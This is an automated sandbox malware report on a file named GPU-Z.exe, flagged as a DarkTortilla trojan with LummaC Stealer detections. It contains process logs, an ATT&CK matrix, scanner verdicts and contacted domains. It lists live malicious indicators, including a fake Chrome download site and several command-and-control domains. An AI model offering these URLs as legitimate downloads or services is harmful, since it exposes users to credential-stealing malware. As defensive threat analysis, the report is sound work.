Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_0041D060 GetCurrentProcessId,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,

6_2_0041D060

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_0042419F GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_0042419F

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

Code function: 18_2_010F3D3D GetTimeZoneInformation,

18_2_010F3D3D

Source: C:\Users\user\Desktop\GPU-Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	21 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	43 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	1 Registry Run Keys / Startup Folder	212 Process Injection	1 Software Packing	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 File Deletion	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	122 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GPU-Z.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.DarkTortilla

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\updater.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	0%	ReversingLabs
C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://chrome-browser-download.com/world/news	0%	Avira URL Cloud	safe
https://content-googleapis-staging.sandbox.google.com	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apion1	100%	Avira URL Cloud	malware
https://content-googleapis-test.sandbox.google.com	0%	Avira URL Cloud	safe
http://cacerts.digic	0%	Avira URL Cloud	safe
https://chrome-browser-download.com	0%	Avira URL Cloud	safe
https://chrome-browser-download.com/ChromeSetup.exe	0%	Avira URL Cloud	safe
https://api.steampowereV	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
play.google.com	172.217.19.238	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
support.google.com	172.217.17.46	true	false	high
www.google.com	172.217.21.36	true	false	high
chrome-browser-download.com	172.67.190.234	true	true	unknown
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
necklacebudi.lat	unknown	unknown	false	high
lh3.googleusercontent.com	unknown	unknown	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://support.google.com/chrome/answer/6315198?product=&error=75035&visit_id=638710749621283108-2082302909&rd=1	false		high
energyaffai.lat	false		high
https://lev-tolstoi.com/api	false		high
grannyejh.lat	false		high
necklacebudi.lat	false		high
crosshuaht.lat	false		high
https://chrome-browser-download.com/ChromeSetup.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.google.com/google-ads/workflow/14282534	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://support.google.com	chromecache_91.22.dr	false		high
https://www.youtube.com/embed/	chromecache_90.22.dr, chromecache_91.22.dr	false		high
http://www.microsoft.co	AddInProcess32.exe, 00000008.00000002.2986724331.0000000000612000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/accounts/TOS	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://policies.google.com/terms?hl=	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000002.00000003.2036783581.0000016253C70000.00000004.00000800.00020000.00000000.sdmp, edb.log.2.dr	false		high
http://support.google.com/installer/?product=&error=75035	updater.exe, 00000013.00000002.3304464308.00000000050FC000.00000004.00000010.00020000.00000000.sdmp, updater.exe, 00000013.00000002.3304513157.0000000005109000.00000004.00000020.00020000.00000000.sdmp, updater.exe, 00000013.00000002.3309095320.0000000037034000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_92.22.dr	false		high
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://www.google.com/chrome/browser/desktop/index.html?system=true&standalone=1	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://policies.google.com/terms	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://www.youtube.com	AddInProcess32.exe, 00000008.00000002.2986177052.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000B.00000002.2862170170.0000000005421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3098311752.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2874157518.0000000006480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3121353750.0000000006001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://support.google.com/installer/%s?product=%s&error=%d	ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr, UPDATER.PACKED.7Z.18.dr	false		high
https://content-googleapis-test.sandbox.google.com	chromecache_90.22.dr, chromecache_91.22.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_92.22.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.2862170170.0000000005421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2895502926.00000213962EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3098311752.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	AddInProcess32.exe, 00000008.00000002.2986784771.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://myaccount.google.com/privacypolicy?hl=	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://www.google.com/tools/feedback	chromecache_90.22.dr, chromecache_91.22.dr	false		high
https://chrome-browser-download.com/world/news	update.ps1.6.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000B.00000002.2862170170.000000000563E000.00000004.00000800.00020000.00000000.sdmp	false		high
